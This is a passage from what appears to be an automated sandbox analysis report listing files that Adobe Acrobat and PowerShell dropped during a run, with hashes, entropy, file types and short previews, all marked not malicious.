SHA-512:	5CC94BB678CA556E215DF94FA673512A2AD9B2390DC4611287101B0DB17299B789392C43FA31E64B43529752E4BDC00F88EA7652199117DD90CB10162C2ADDAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.289842314526384
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfQ1rPeUkwRe9:YvXKXXiBATRsdTeOzVGY16Ukee9
MD5:	D7FD821117C14AA9892582167A759258
SHA1:	F4FDEDB390017CCC719D19AE0CFE4F38D07B5A29
SHA-256:	ECFD8792B2878154497181959A1C11061BCEE7E53476661BF0A7249F96DAA622
SHA-512:	E641380FA46A8177A641001A3474147B237F9D2A2E413EB3B64DBA8C3612F60CEE07563580E99E4F28ABBC9889EA46D5D5B21B495188C57DEEF90376CB6EDC88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303656934484568
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfFldPeUkwRe9:YvXKXXiBATRsdTeOzVGz8Ukee9
MD5:	7DFEE17730242BBC5C04C67D14D0080D
SHA1:	B83349D5940EFBDF87F7CD9F9050A439F8BD181E
SHA-256:	2779D30433D0A757197A6AB91C3D1EEC062ACDBFB0E8D6364D5256C67D1DBFCB
SHA-512:	EC0E86C756E614CCF2CEC1CDE696A77B0897F439F0F2752E1502EDA94BABFB5D4126F15D3A6D25D408925F1FBB8A61D5D45F20DC9C8F843A0C75C68692162CD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312510242664675
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfzdPeUkwRe9:YvXKXXiBATRsdTeOzVGb8Ukee9
MD5:	9011510508E0945A26923C1BED6194A3
SHA1:	BDA37AFD5E15C26983F11BD1A7E6E83ADACB7FEC
SHA-256:	867FE18DE972DD9C3430B4BC083007BFCDC9D66975063AC8D1FCE470105078AA
SHA-512:	A8A1A858705C2A169723152FE1DC19F1698DAFD96E6D9CB183AE585F0957781E3EBC7CE2E983D4D6DFAB96D9C89CA3463F855CE4C3B2B720CBB833B90E928A7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293289178293855
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfYdPeUkwRe9:YvXKXXiBATRsdTeOzVGg8Ukee9
MD5:	6A669CCC82217ED140755FF12D07C134
SHA1:	1B40E393250462D6CE5FA2FFD06FD408D15EC26E
SHA-256:	9E0122E7792AD4A97F5690B8D9531D10D34B568F6DF8DC2702D4EA7B0E3DD80E
SHA-512:	369674644C4BD689A44FA067064EED104BC167F4CBE69AD6272DBAED13B5A2521E20A1358F00B4FD95005FE8FB3BB6422B08C727B33A2FCA3AB02BF55D426293
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279520393774894
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJf+dPeUkwRe9:YvXKXXiBATRsdTeOzVG28Ukee9
MD5:	88F3E8E40B3BA15B1677BA96207B6361
SHA1:	A2D39D5C87BA6B78A4DBCBDF7A484C474B02AF19
SHA-256:	BCBC8173B4464C27D706CC80CB3D7215EC86DE49991B0F61B597456F5E627D47
SHA-512:	F52B7CB060A8836EBB9479251F7764CADB5D90E1D025479AEF6A25696BE42E539ED897F51C5B61BF3647F40D7EAFEFE99BB08BF8690AC7AB3B044D80F0DB0916
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.276882398453671
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfbPtdPeUkwRe9:YvXKXXiBATRsdTeOzVGDV8Ukee9
MD5:	83904C7D5BC54370ED75D239DD2D51FD
SHA1:	5F56ABBA3A8DE433729B8D49E41D0014217C0990
SHA-256:	E3D57D41F3FF0BDA30739D8BAD7C2B9D0E6B76C92A10D40D359987BCF67504ED
SHA-512:	F9CE6254D78685CE2625F87A127468F3565A8F0D0EA3F4F21475F7CEFD9F4F3D40B3E0EB997F200BD100055B845B4E40085498A056C984763A852BE900511E48
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281736828882821
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJf21rPeUkwRe9:YvXKXXiBATRsdTeOzVG+16Ukee9
MD5:	64DF536E0844548A77BF6C88C3347493
SHA1:	9BFC1038190B7DC311E604D1C05685FA55208733
SHA-256:	A0D26AE076A5188937C0B372DBE992F30EB341340E692B270B9C46C67A69B8F1
SHA-512:	25ECE707D3FBA49E5AFC0F6D2597C92468671080CAD1EB11E3BB4B5F7C05B9A90F65878A1DCBA303CC527FB54650AEEF6E61845285B36539C12FACE806385174
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.651741147088284
Encrypted:	false
SSDEEP:	24:Yv6XXiBKmeOzmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6:YvFXeUoBgkDMUJUAh8cvM6
MD5:	42F456D7632D54C1122D692CD9DBDDA2
SHA1:	C592F9361A4D3F629A24CC2AF1BB09E51C9783E9
SHA-256:	31558CB3E7B8AC322EBC72CF077B2E5FB208063AEFD44943827B5E35526A4239
SHA-512:	0E6E829E0DDAA23750BB8305F357DDC0726346F048056715356061A14ED63D09211BA321476AC81D13B36A721B7B740C591788F74A3810A6CD9AFD0B045C8A61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.254858714625695
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJfshHHrPeUkwRe9:YvXKXXiBATRsdTeOzVGUUUkee9
MD5:	68814452A9BF6EC51DFC308CD9BCB773
SHA1:	AC182AF9597FA4B40A39D78D295C12E497AB8ADB
SHA-256:	49B2DFFE1FBF7C31F3E4F114C648667FCD13245207E2535EDAFE137DF2C9D107
SHA-512:	E4BEC3E90F585665DC45E5E032392819FC6B526B3E3AAC542B9A1B8AF9D15C29F870A4B2481D4BB9759CE06FBBAADA61796F7FCDBF3C06C69A4496946E3625DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276068324990156
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6avaBAV1HWWsGiIPEeOF0YTeoAvJTqgFCrPeUkwRe9:YvXKXXiBATRsdTeOzVGTq16Ukee9
MD5:	FE040296D8EA2CDDFA60A1D29F7F66C1
SHA1:	2EA76C10FBF1E42FD8C3E45727D7E1487FA8C32D
SHA-256:	A6754E224CF26A0277B4765D435099F1321DEBDA6E6D53AEBAC0D11EC21609AC
SHA-512:	4F86EABFE3B275560E698F6B0A60CDFBB3F18AE42F7EEF95DD9B88A347A8EFD8264121B70E96E8B1EA41447811B0F34E9BE5F3486503BDBCA2986750AA4B8601
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a0956575-d3dc-4fae-a63d-2ccd08e3bd7c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736712501194,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136631501612493
Encrypted:	false
SSDEEP:	24:YxaakMcayuBxagZ4qdhBW2j9j0SJJcaF2s2Q2LSL4NzCQ5eowjtw5998+LQ2urOG:YsMrXZR7FEQR4Nzb5eowZwj9F0b
MD5:	9880A5D6FDE318B45D4A24D42E1C36A0
SHA1:	7AB69AB33FBC976E4EA492881F5DE7F9F9D8C1E6
SHA-256:	62159736A4DFA520574506F79C6AC66653C90C8D6EC9B020679C769EE9641E7B
SHA-512:	B60234F1E11678BE21A06AE0A9B221E8A9885649950E19D3D69500E3AC5476E2B54E006734816C424A853645D0DB033FB5C1D039B78A9CDBE9C58A512D9D4433
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"46cd5a180c69378a34a95af886641332","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736536716000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"aa03bd2920faa9b3851126ae2ecb68e7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736536716000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"67124077b234a8f00e64de738c3b25bc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736536716000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5f4784aafc23f2b678f19d21d7f10df4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736536715000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cd47d00c7e8b1c5e3a21b32908c34e36","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736536715000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"a021e8f0adffc7ed12410ca8006e785b","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file","si

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4532747081297268
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dswlY:lNVmsw3SHtbDbPe0K3+fDZdM
MD5:	3C1D5F88E5810B3F4478A824285DD50D
SHA1:	72EB9C3FE3BB48CBA29B6E91BF57AD967E2FD021
SHA-256:	A9B0C206F36A28D9657C74DA1E82DD423EE9BB9633BA1DBE213803F59C8C52BE
SHA-512:	847A125F00E0333785ABACEC2F28348D33EC9B502C285FF73BF52233FC2C177EA28F17446303537D5C5C14127DA895B492E24B46DB217BC6C5A1F942081FF9DF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9577357246094798
Encrypted:	false
SSDEEP:	48:7MvrvrBd6dHtbGIbPe0K3+fDy2dsl4qFl2GL7msD:7q3SHtbDbPe0K3+fDZdrKVmsD
MD5:	EEAEE9CAF3E987C55D8510D0131C6AF9
SHA1:	9C12DE7044E702CEF439CE2ADBE5D39666A64091
SHA-256:	C066814CE444B1C2276BE8BEE62EB4C1CE3CC53630E64B7086F153E3EDAF3BD8
SHA-512:	8A4FB7828AC9370628EF1572DF7E3F54DAC4C8C361F1A45BA3F488F304BD050AD7CA6422897F7D1C1AE9C29514AB2878A3754FCD14F89822B236FCC27E5DAE76
Malicious:	false
Preview:	.... .c......y.[......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgVZ0osi2LN7nX0rLmJoE9CTjhB6veYyu:6a6TZ44ADEVZVsiW7nX0L679gK
MD5:	080ECEF544056980D12BD5B41E3A8D07
SHA1:	E8CD15509993590C33710EE6D14A7EAF7C592D93
SHA-256:	493E8F6293F2A5E3C4969629D0C3D7F8443E59A487C8A8A327F2F2A87621AB73
SHA-512:	C7B4C708FEA11A0E3C5BBCF5DDEBFC61F187595C585FF8112284EF2482C741A8B900B69A5E1FCC111746CD851AE5CFE8454447A0AC7C2D3BB245768145E8A76E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI5ab44.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERXlDl:Qw946cPbiOxDlbYnuRK+bDDR
MD5:	BE855B55E45F0CF77B28DE0FAA9B0D40
SHA1:	E0C6E99834E2801E0BD02AC3E54D0BC2C7CD1C98
SHA-256:	59BE7FE3379FB4F27D5A2A5FAD4030E6D364B908BF6EFFBC16A90576085FA95D
SHA-512:	3A46554D2165F75ECA549335BBF244090C8C39670F9F658304297D9C6EF5377AD7B60F1BE5145AE4FBD84B5F939C7B6E29412003824610D40B88AB772E82DFE9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.1.8.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4klxn2wq.mzo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ph3tzeau.jdk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-18-28-500.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.370189196761574
Encrypted:	false
SSDEEP:	384:ohdcF5YyAEHf2Mux7JI9VaZCP1deRMElv8PVDVNVlV1VijRYhb+lZry6Lj2j27Gv:bhNZb/7H
MD5:	BCB9332993800D1127D6047C0F74F608
SHA1:	AAB271766424767AFECE9D40867AD4C362021260
SHA-256:	FD40A9B72E21CB47F8EC8FBF60176F96F139005C8EEF1FAB42A57D2EE987AB96
SHA-512:	A2226F0DB3CB007E4F8B90C0B3C8879C4EB55EE16EDFF8F95F8D53FF4770A96F5C880B9AC1A839FCEDA63EAA5B3F3DE31FC13D7F6E25ACAAED9262C171599C5C
Malicious:	false
Preview:	SessionID=879a6ea5-138f-4f0b-9162-2aaf4847c2fc.1736536708518 Timestamp=2025-01-10T14:18:28:518-0500 ThreadID=7992 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=879a6ea5-138f-4f0b-9162-2aaf4847c2fc.1736536708518 Timestamp=2025-01-10T14:18:28:519-0500 ThreadID=7992 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=879a6ea5-138f-4f0b-9162-2aaf4847c2fc.1736536708518 Timestamp=2025-01-10T14:18:28:519-0500 ThreadID=7992 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=879a6ea5-138f-4f0b-9162-2aaf4847c2fc.1736536708518 Timestamp=2025-01-10T14:18:28:519-0500 ThreadID=7992 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=879a6ea5-138f-4f0b-9162-2aaf4847c2fc.1736536708518 Timestamp=2025-01-10T14:18:28:519-0500 ThreadID=7992 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.407830006045277
Encrypted:	false
